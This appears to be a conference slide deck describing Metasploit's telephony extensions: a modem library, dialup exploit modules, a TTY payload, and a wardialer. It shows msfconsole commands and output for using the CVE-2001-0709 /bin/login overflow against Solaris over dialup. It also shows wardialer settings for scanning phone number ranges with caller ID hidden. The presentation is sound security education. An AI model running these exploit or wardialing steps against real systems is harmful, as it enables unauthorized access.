

Metasploit Framework Telephony

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What is it and What's it for?

- ⊗ MSF core extensions for telephony
- ⊗ Provides a way to drive local telephony devices like modems
- ⊗ Dialup interface to remote systems
- ⊗ Extending Metasploit's potential target pool
 - ⊗ Systems accessible only via dialup
 - ⊗ Vulnerabilities in /bin/login, *getty, PAM, etc.
 - ⊗ BBS Software!

Metasploit Telephony Library

☒ Currently provides the Modem object

☒ Frequently used Modem methods:

☒ `Modem.new(serialport)`

☒ `Modem.put_command(command, timeout)`

☒ `Modem.get_response(timeout)`

☒ `Modem.hangup`

☒ `Modem.flush`

☒ Frequently used Accessors:

☒ `serialport, baud, data_bits, parity, stop_bits, flowcontrol, display`



Applied

Dialup Exploitation Module

Exploit::Remote::Dialup

connect_dialup - creates modem object, sets params, dials

disconnect_dialup - modem hangup, destroys modem object

dialup_puts - sends data to modem

dialup_gets - receives data from modem

dialup_expect - reads data from modem until regexp match or timeout

handler - calls the exploit handler

Name	Type	Value
----	----	-----
BAUDRATE	Int	19200
DATABITS	Enum	7
DIALPREFIX	String	ATDT
DIALTIMEOUT	Int	90
DISPLAYMODEM	Bool	true
FLOWCONTROL	Enum	None
INITSTRING	String	AT X6
NUMBER	String	512.276.2141
PARITY	Enum	Even
SERIALPORT	String	/dev/ttyS0
STOPBITS	Enum	1

New “UNIX TTY Interact” Payload

- ☒ We don't get our shells in the usual way...
- ☒ Needed an new payload that just placed the dialup connection directly into the sessions handler
- ☒ Allows the user to directly interact with a system's TTY over an established socket connection
- ☒ Available for Platform 'unix' and Arch ARCH_TTY
- ☒ Handler => Msf::Handler::FindTty
- ☒ Session => Msf::Sessions::TTY

Interactive Dialup Test “Exploit”

⊠ modules/exploits/test/dialup.rb

⊠ Arch => ARCH_TTY

⊠ Platform => ['unix']

⊠ Available Payloads:

⊠ modules/payloads/tty/unix/interact.rb

```
def exploit
  connect_dialup
  handler
  disconnect_dialup
end
```

Interactive Dialup Test “Exploit”

- > use exploit/test/dialup
- > setg NUMBER 512.867.5309
- > setg BAUDRATE 19200
- > setg SERIALPORT /dev/ttyS0
- ...
- > set PAYLOAD tty/unix/interact
- > exploit

Interactive Dialup Test “Exploit”

```
msf exploit(dialup) > exploit
```

```
[*] Initializing Modem
```

```
[*] Dialing: XXX.XXX.XXXX (60 sec. timeout)
```

```
[*] Carrier: CONNECT 14400/ARQ/V32/LAPM/V42BIS
```

```
[*] Trying to use connection...
```

```
[*] Interactive TTY session 1 opened (Local Pipe -> Remote Pipe)
```

```
Login: druid
```

```
Password:
```

```
Last login: Mon Jun 27 07:20:30 on term/a
```

```
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
```

```
$
```

Scripted Interactive Dialup

```
def exploit
  connect_dialup
  dialup_expect(/ogin: /i, 4)
  dialup_puts(datastore['USERNAME'])
  dialup_expect(/assword: /i, 4)
  dialup_puts(datastore['PASSWORD'])
  dialup_expect(/[$#] /, 4)
  handler
  disconnect_dialup
end
```

Scripted Local Exploitation

- ☒ Dial up and connect
- ☒ Authenticate
- ☒ Write a local exploit out to file
 - ☒ Compile it if needed
 - ☒ Make it executable
- ☒ Run the exploit

Real Exploit: CVE-2001-0709

- ⊠ System V Derived /bin/login Many Arguments Buffer Overflow
- ⊠ Provide a large number of environment variable arguments to /bin/login via the login: prompt
- ⊠ Exploitation can be done entirely through unauthenticated user interaction with the login prompt
- ⊠ Provides a shell via the same connection

Real Exploit: CVE-2001-0709

- > use exploit/dialup/multi/login/manyargs
- > setg NUMBER 512.867.5309
- > setg BAUDRATE 19200
- > setg SERIALPORT /dev/ttyS0
- ...
- > set PAYLOAD tty/unix/interact
- > exploit

Real Exploit: CVE-2001-0709

```
[*] Targeting: Solaris 2.6 - 8 (SPARC)
[*] Dialing Target
[*] Initializing Modem
[*] Dialing: XXX.XXX.XXXX (60 sec. timeout)
[*] Carrier: CONNECT 19200/ARQ/V34/LAPM/V42BIS
[*] Waiting for login prompt
[*] Sending evil buffer...
[*] Waiting for password prompt
[*] Password prompt received, waiting for shell
[*] Success!!!
[*] Trying to use connection...
[*] Interactive TTY session 1 opened (Local Pipe -> Remote Pipe)
```

#

But wait...

How do I find such
vulnerable systems?

The background features a large, semi-transparent watermark of the Metasploit logo, which consists of a stylized 'M' shape with a central vertical bar and a horizontal bar at the bottom, all enclosed within a rectangular frame.

Metasploit Wardialer

Metasploit Wardialer

- ☒ Standard wardialer with most of the options and settings you would expect
- ☒ Will detect and log all standard (and some nonstandard) modem word responses:
 - ☒ CONNECT
 - ☒ +FCO
 - ☒ BUSY
 - ☒ NO DIALTONE
- ☒ Stores in user's MSF working directory under 'logs/wardial':
 - ☒ gzipped, Marshaled Ruby scan database object
 - ☒ ToneLoc style found.log file of interesting numbers
- ☒ Can also log to a SQL database

MSF Wardialer Options

Name	Type	Value
-----	-----	-----
BaudRate	Int	19200
ConnTimeout	Int	45
DIALMASK	String	202.358.XXXX
DIALPREFIX	String	ATDT
DISPLAYMODEM	Bool	false
DataBits	Enum	8
DialDelay	Int	1
DialTimeout	Int	40
FlowControl	Enum	None
INITSTRING	String	AT X6 S11=80
InitInterval	Int	30
LogMethod	Enum	File
NudgeString	String	\x1b\x1b\r\n\r\n
Parity	Enum	None
REDIALBUSY	Bool	false
SERIALPORT	String	/dev/ttyS0
StopBits	Enum	1

MSF Wardialer Use

- > use auxiliary/scanner/telephony/wardial
- > set DIALMASK 512.867.XXXX
- > set DIALPREFIX ATDT *67,
- > run

MSF Wardialer Output

```
[*] No previous scan data found
    (/home/druid/.msf3/logs/wardial/512.276.XXXX.dat)
[*] Detected 4 masked digits in DIALMASK (512.276.XXXX)
[*] Generating storage for 10000 numbers to dial
[*] Initializing Modem
[*] 10000 of 10000 numbers unidentified, 0 carriers found, 0 faxes found, 0 busy
[*] Dialing: 512.276.##### (45 sec. timeout, previously undialed)
[*] Timeout
[*] 9999 of 10000 numbers unidentified, 0 carriers found, 0 faxes found, 0 busy
[*] Dialing: 512.276.##### (45 sec. timeout, previously undialed)
[*] Fax: +FCO
[*] Initializing Modem
[*] 9998 of 10000 numbers unidentified, 0 carriers found, 1 faxes found, 0 busy
[*] Dialing: 512.276.##### (45 sec. timeout, previously undialed)
...
```

SQL Database Logging

- ✘ Can store scan results via the MSF database abstraction layer
 - ✘ Calls `report_note` with type of “wardial_result” for all results that are logged to `found.log`
- ✘ Will be able to interface with the TIDbITS database (coming soon!)
 - ✘ Reporting results to TIDbITS
 - ✘ Querying for numbers to dial and confirm
 - ✘ This turns MSF into a distributed wardialer



What's Missing?

Moving Forward and Future Goals

Direct VoIP Support

- ⊠ Modem support is via Serial Port only
- ⊠ This is due to lack of adequate VoIP DSP software
- ⊠ IAXModem exists, but it's currently FAX only
- ⊠ Other DSPs exist, but are not easily tied to VoIP software
- ⊠ (this is one reason why WarVOX went the audio signal processing route)

More Exploits!

⊠ Some other potential vulnerabilities:

- ⊠ **BID 7303 / CVE-2002-1391** mgetty < 1.1.29 CallerID Excessive Name Length cnd-program() Argument Buffer Overflow (once we add direct VoIP support and can spoof CallerID)
- ⊠ **BID 8217 / CVE-2003-0574** SGI IRIX Scheme Login Privilege Escalation
- ⊠ **BID 8491 / CVE-2003-0686** PAM SMB module (pam_smb) <= 1.1.6 /bin/login Buffer Overflow
- ⊠ **Oday** Renegade BBS System File Disclosure

Non-Carrier Signal Processing

- ✘ Used for analysis of non-carrier voice systems such as PBX or voice menu systems
- ✘ WarVOX has made significant advances in this area
- ✘ Some code may be integrated from WarVOX for this purpose



Questions?